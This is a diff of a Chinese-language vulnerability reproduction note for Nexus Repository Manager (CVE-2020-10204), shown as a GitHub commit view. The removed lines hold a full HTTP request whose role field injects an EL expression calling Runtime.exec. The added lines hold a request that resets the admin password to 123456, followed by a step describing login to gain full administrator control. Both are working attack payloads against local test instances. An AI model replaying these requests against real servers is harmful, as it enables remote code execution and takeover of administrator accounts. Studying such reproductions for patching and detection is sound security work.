File tree Expand file tree Collapse file tree 1 file changed +9
-7
lines changed Expand file tree Collapse file tree 1 file changed +9
-7
lines changed Original file line number Diff line number Diff line change @@ -38,22 +38,24 @@ idea创建远程debug-启动
3838### 6. 调用更新role接口
3939数据包:
4040```
41- POST /service/extdirect HTTP/1.1
41+ PUT /service/rest/beta/security/users/admin/change-password HTTP/1.1
4242Host: 127.0.0.1:8081
43- Content-Length: 301
43+ Content-Length: 6
4444accept: application/json
4545Sec-Fetch-Dest: empty
4646User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
47- NX-ANTI-CSRF-TOKEN: 0.16936373694860252
48- Content-Type: application/json
47+ NX-ANTI-CSRF-TOKEN: 0.6080434247960143
48+ Content-Type: text/plain
4949Origin: http://127.0.0.1:8081
5050Sec-Fetch-Site: same-origin
5151Sec-Fetch-Mode: cors
5252Referer: http://127.0.0.1:8081/swagger-ui/?_v=3.21.1-01&_e=OSS
5353Accept-Encoding: gzip, deflate, br
5454Accept-Language: zh-CN,zh;q=0.9
55- Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.16936373694860252 ; NXSESSIONID=4e5437b3-7755-4784-bda6-d004e8f589fb
55+ Cookie: NX-ANTI-CSRF-TOKEN=0.6080434247960143 ; NXSESSIONID=af3706e2-dc9e-47fa-9739-edb6b3d512fe
5656Connection: close
5757
58- {"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"[email protected] ","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10204')}"]}],"type":"rpc","tid":9} 59- ```
58+ 123456
59+ ```
60+
61+ ### 7. 使用admin & 123456登陆,获得最高管理员权限
You can’t perform that action at this time.
0 commit comments